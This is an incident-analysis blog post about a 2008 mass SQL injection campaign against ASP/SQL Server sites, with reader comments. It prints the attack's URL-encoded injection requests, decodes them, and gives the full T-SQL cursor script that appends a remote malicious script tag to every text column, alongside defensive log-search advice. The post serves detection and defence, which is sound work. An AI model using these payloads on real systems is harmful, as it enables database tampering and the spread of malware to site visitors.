Anatomy of a SQL Injection Incident, Part 2: Meat

  • Article

Intro

It would appear that the incident I wrote about yesterday is still ongoing.  I've been using a search engine to query for the *.js file that's being injected and it looks something like this:

Wednesday: 10K hits (This is Avert's number.  I didn't look until Thu.)
Thursday: 12.1K hits
Friday: 12.9K hits
Saturday: 14K hits

It's not the most scientific measure but it does show a pretty steady progression.  The earliest incident that I'm aware of was around 2008-03-01 (depending on where you are in the world) so that's a rate of about a thousand hosts a day, give or take. 

Hensing took me to task, privately, for my last post on this because it wasn't very detailed.  Fair enough, let's see if we can flesh this out. 

Analysis of an Incident

One interesting thing is that the attack appears to do different things depending on the responses it gets to various queries.  I've seen three successful incidents and, while they are all similar, it's clear that the script is doing different things depending on the responses it gets.  In all four cases, the first thing that happens is:

2008-03-08 13:37:12 /dir1/archive.asp id=z%20ANd%20char(124)%2Buser%2Bchar(124)=0 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 200 0 17115 1171

2008-03-08 13:37:13 /dir1/archive.asp id=z%27%20ANd%20char(124)%2Buser%2Bchar(124)=0%20and%20%27%27=%27 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 200 0 17115 562

The id=... portion of that log is the cs-uri-query portion of the log.  If you were to hit this in the browser, the URL would look like this:

https://www.someserver.com/dir1/archive.asp?id=z%20ANd%20char(124)%2Buser%2Bchar(124)=0

These lines are double-encoded -- the first set of encoded characters, which would be translated by IIS, are denoted by %XX.  For example, %20 is a space.  The second set aren't meant to be translated until they get to the SQL Server and they use the char(xxx) function in SQL.  If we unencode both of those lines, we get this:

id=z ANd |user|=0
id=z ANd |user|=0 and ''='

The next query is a lot of fun:

2008-03-08 13:37:13 /dir1/archive.asp id=z%27%20ANd%20char(124)%2Buser%2Bchar(124)=0%20and%20%27%25%27=%27|33|80040e07|Syntax_error_converting_the_nvarchar_value_'|IUSR_Server|'_to_a_column_of_data_type_int. 202.101.*.* HTTP/1.1 Internet+Explorer+6.0 - - 500 0 292 390

This time, it reads:

id=z ANd |user|=0 and '%'='

This time, the attacker has hit the right combination to return a very informative error message -- he now knows the user ("IUSR_Server") that the web application is running as.  In this particular instance, the attacker is happy with this information and proceeds to deliver the payload.  In another instance I looked at, the attacker used one extra query with the IS_SRVROLEMEMBER T-SQL function to see if the user was a sysadmin.

So, finally, the attacker is delivering the payload.  I've truncated these for readability:

2008-03-08 13:37:15 /dir1/archive.asp id=z;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);-- 202.101.*.* HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - - 200 0 17139 1421

2008-03-08 13:37:25 /dir1/archive.asp id=z';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x440045004300...7200%20AS%20NVARCHAR(4000));EXEC(@S);-- 202.101.*.* HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - - 200 0 0 10234

This looks a little complicated but, if we remove the encoding, we get this:

DECLARE @S NVARCHAR(4000);
SET @S=CAST(0x440045004300...7200 AS NVARCHAR(4000));
EXEC(@S);--

So, here's what this little bit of T-SQL is doing:

  1. Declaring a variable, S, as an NVARCHAR.  For those of us who don't speak T-SQL natively, think of this as a string.
  2. Taking a long hex value (I took out a few hundred characters where the ... is there) that is really a Unicode string(1) and casting it as NVARCHAR.  In other words, we're taking this hex representation of a string and turning it into a real string.
  3. Once that's done, we execute that string as a T-SQL statement.

So, of course, the next question is "What is that string?"  Here it is, with a bit of sanitization:

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=https://www.211796*.net/f****p.js></script>''')
FETCH NEXT FROM  Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

This one is a little more complicated but it does something like this:

  1. Declare a few variables that are used later.
  2. Do a SQL query on the sysobjects and syscolumns tables.  This is some serious mojo as these tables contain a list of ALL the tables and ALL the columns in the database.  What this query is looking for is every column in the entire database with a type that contains strings.
  3. Now, we're going to loop through all of those columns and, in every one of them...
  4. ...we're going to append the <script>...</script> text.
  5. Finally, clean up and we're done.

Now that this has run, every bit of text in your database has this malicious script tag appended to it.  If you're using that database to contain text/HTML that you're going to insert into your webpages and display to your users, you are now serving up a malicious script to every one of your trusting customers.

Check Yourself

If you've got a website that uses a database as a backend, you should now be a little concerned.  Here are some ideas on what to look for.

So far, the only affected platform that I'm aware of is ASP pages with Microsoft SQL Server as a backend.  That doesn't mean that some miscreants won't move on to ASP.Net or PHP or something else -- the attack should be easy enough to move to other platforms.  It just means that, so far, ASP pages are all that I've seen affected.

If you fit into that category, then you'll be wanting to review your IIS logs for anything suspicious.  LogParser is, hands down, my favorite tool for this sort of work.  If you download it, you should be able to do a query like this on your IIS logs:

LogParser -i:iisw3c -o:csv "SELECT * INTO suspicious.csv FROM ex*.log WHERE cs-uri-query LIKE '%CAST(%'"

This is go through all the IIS logs in the directory and search them for lines where the query string contains "CAST(" and output those lines into suspicious.csv.  Since "CAST(" should be a pretty unusual string in cs-uri-query, if you have any hits here, it's worth investigating further(2).

If you are affected, then this isn't going to be an easy incident to recover from.  My own suggestion would be to pull your website down until you can figure out what's going on -- you're still vulnerable AND you're serving up attacks to every user who comes to your site.  That's not going to impress anybody.

The first order of business would be to figure out where you're vulnerable and how vulnerable you are.  That's really beyond the scope of what I'm going to hammer out today but I'd suggest starting with a copy of Writing Secure Code and going from there.

 Edit: I forgot to mention that this is also a good time to review the privileges that your web app has in SQL.  It definitely shouldn't need to be sysadmin!

Footnotes

(1) It's a fair bet that any time you see a hex string where every other byte is 0x00, it's text from a Western language encoded in Unicode.

(2) Obligatory plug for my team -- Microsoft provides no-charge support for any security incident.  If you believe you've been affected by this,  you can call us for assistance.  This page has all the appropriate details for the US and Canada and there are links from there to every other region.

Comments

  • Anonymous
    January 01, 2003
    It does sound correct although it looks like this is the third wave (Nov 07, Jan 08) of mass defacement via this or a similar attack. From the data I've looked at, all the affected pages were classic ASP and made SQL queries with data taken directly from query strings.  Other than that, the pages didn't appear to have any similarities.  I played around with building a SQL query that would generalize "any ASP page with a query string" but I didn't come up with one that worked.  Of course, it's likely that the attackers are smarter than me.  :)

  • Anonymous
    January 01, 2003
    Read a couple of blog posts about some fairly recent SQL Injection attacks (03 /08); http://blogs.technet

  • Anonymous
    January 01, 2003
    Hay muchos sitios y blogs que hablan sobre el tema de inyección SQL. Puede encontrar toda la información

  • Anonymous
    January 01, 2003
    Pour mieux comprendre les risques auxquels sont expos&#233;es vos bases de donn&#233;es, il est int&#233;ressant

  • Anonymous
    January 01, 2003
    Prevenindo SQL Injection - Ataques estranhos

  • Anonymous
    January 01, 2003
    Archive.asp was just an example.  The pages involved were all different and didn't appear to have any common code.

  • Anonymous
    January 01, 2003
    Well, there was quite some chatter over the last few weeks with regards to the massive defacements we

  • Anonymous
    January 01, 2003
    Read a couple of blog posts about some fairly recent SQL Injection attacks (03 /08); http://blogs.technet

  • Anonymous
    January 01, 2003
    There s a lot of noise arround currently ongoig SQL injection attacks and even if that is quite an "old"

  • Anonymous
    January 01, 2003
    本文翻译自微软博客上刊载的相关文章，英文原文版权归原作者所有，特此声明。（特别感谢NeilCarpenter对本文写作提供的帮助） 近期趋势 从去年下半年开始，很多网站被损害，他们在用于生成动...

  • Anonymous
    March 20, 2008
    Neil is archive.asp part of some standard web software package or are you just using that as an example?

  • Anonymous
    March 20, 2008
    Wow that is interesting. So they code is either google dorking for classic ASP pages or performing web crawling itself then? That is pretty scary. I think this is the first example of a widespread defacement that did not use a vulnerability in a known package, like PHPBB etc... Does that sound correct?

  • Anonymous
    April 05, 2008
    Hello Sir, Could you spare 2 minutes for me also? I have a small website hosted on a shared plan. Hosting agency has provided me about 50 mb of sql server space. My site extensively uses asp and sql server. My site ranking is good with google for certain keywords searches. Friday morning I found that the bad people (nmidahena) had updated text fields in almost all of the tables with a <script> some thing.js </script>. This has created a nightmare for me.   Fortunately, I had a backup that came to my rescue. I also downloaded all asp and html files to my local machines and searched for "nmidahena" - nothing came up. This is what I have done: a) Restore sql server tables from the backup. b) Rewrite my asp forms to not to accept any character or words that could be used for sql injection. Do you think this would be sufficient to prevent future attack? I dont know where to look for help. The hosting agency has no good answers. Sir, I will gladly pay your feel for your advise. with best regards

  • Anonymous
    April 07, 2008
    The comment has been removed